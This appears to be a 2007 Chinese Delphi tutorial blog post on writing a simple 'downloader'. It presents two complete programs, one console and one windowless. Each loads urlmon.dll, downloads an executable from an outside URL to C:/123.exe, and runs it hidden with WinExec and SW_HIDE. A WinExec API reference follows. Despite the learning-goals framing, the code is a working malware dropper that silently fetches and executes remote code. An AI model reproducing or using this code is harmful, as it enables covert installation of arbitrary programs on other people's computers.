您的位置:首页 > 编程语言 > Delphi

Delphi制作简单下载者(不可自行定制)

2007-06-20 01:23 585 查看
Delphi制作简单下载者(不可自行定制)

by clin003 from:http://blog.csdn.net/clin003/ at 20070620

学习目的:
1.了解动态链接库的载入过程
2.了解函数变量的定义和使用
3.认识程序执行的模式
4.了解异常处理的过程
5.函数参数的传递
6.winexec函数的使用

环境:
Microsoft windows server 2003 R2 enterprise edition service pack 1
Delphi7

程序代码注释:
program project1;
{$APPTYPE CONSOLE}//控制台模式
uses
  windows;
var
Downfile:function (Caller: pointer; URL: PChar; FileName: PChar; Reserved: DWORD; StatusCB: pointer): HResult; stdcall;
//定义一个函数变量
hUrlmon: THandle;//句柄变量
begin
//try
by clin003 from:http://blog.csdn.net/clin003/ at 20070620
//本来有异常处理的,想啦想没有必要就又注释掉啦
  hUrlmon:=LoadLibrary('urlmon.dll');//加载urlmon.dll动态连接库文件
  @Downfile:= GetProcAddress(hUrlmon,'URLDownloadToFileA');//得到urldownloadtofileA函数的地址
  Downfile(nil, Pchar('http://clin003.com/123.exe'), Pchar('C:/123.exe'), 0, nil);//调用urldownloadtofile函数执行从http://clin003.com/123.exe把文件下载到一个目标位置c:/123.exe
//finally
  winexec('C:/123.exe',SW_HIDE);//执行我们下载回来的可执行文件
//end;
end.

by clin003 from:http://blog.csdn.net/clin003/ at 20070620

/////////////////////下边这个没有dos框口的
program project1;
{$IMAGEBASE $13140000}//非框口模式
//下边几乎一样就不多说啦
uses
 windows;
var
Downfile:function (Caller: pointer; URL: PChar; FileName: PChar; Reserved: LongWord; StatusCB: pointer): HResult; stdcall;
hUrlmon: THandle;
begin
//try
  hUrlmon:=LoadLibrary('urlmon.dll');
  @Downfile:= GetProcAddress(hUrlmon,'URLDownloadToFileA');
  Downfile(nil, Pchar('http://clin003.com/123.exe'), Pchar('C:/123.exe'), 0, nil);
//finally
 winexec('C:/123.exe',SW_HIDE);
 //end;
end.

by clin003 from:http://blog.csdn.net/clin003/ at 20070620
////////////////////winexec函数说明

WinExec函数
函数原型:function WinExec(
    lpCmdLine: LPCSTR;// 包含要执行的命令行
    uCmdShow: UINT// 定义了以怎样的形式启动程序的常数值。);
    ): UINT; stdcall;

  参数说明:
  LPCSTR lpCmdLine: 包含要执行的命令行。
  系统将在以下范围查找应用程序:
  1. 应用程序启动位置
  2. 当前目录位置
  3. Windows system目录
  4. Windows 目录
  5. path中设置的路径列表
by clin003 from:http://blog.csdn.net/clin003/ at 20070620
  UNIT uCmdShow: 定义了以怎样的形式启动程序的常数值。具体说明如下:
  SW_HIDE 隐藏窗口,活动状态给令一个窗口
  SW_MINIMIZE 最小化窗口,活动状态给令一个窗口
  SW_RESTORE 用原来的大小和位置显示一个窗口,同时令其进入活动状态
  SW_SHOW 用当前的大小和位置显示一个窗口,同时令其进入活动状态
  SW_SHOWMAXIMIZED 最大化窗口,并将其激活
  SW_SHOWMINIMIZED 最小化窗口,并将其激活
  SW_SHOWMINNOACTIVE 最小化一个窗口,同时不改变活动窗口
  SW_SHOWNA 用当前的大小和位置显示一个窗口,不改变活动窗口
  SW_SHOWNOACTIVATE 用最近的大小和位置显示一个窗口,同时不改变活动窗口
  SW_SHOWNORMAL 与SW_RESTORE相同
  例如:启动当前目录下的abc.exe 程序:
  WinExec( "abc.exe",SW_SHOW );
附带说明:
  WinExec是一个兼容win16的函数。win32应用程序可用CreateProcess函数,也可使用ShellExecute函数。具体说明可查阅有关帮助文档。
 
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息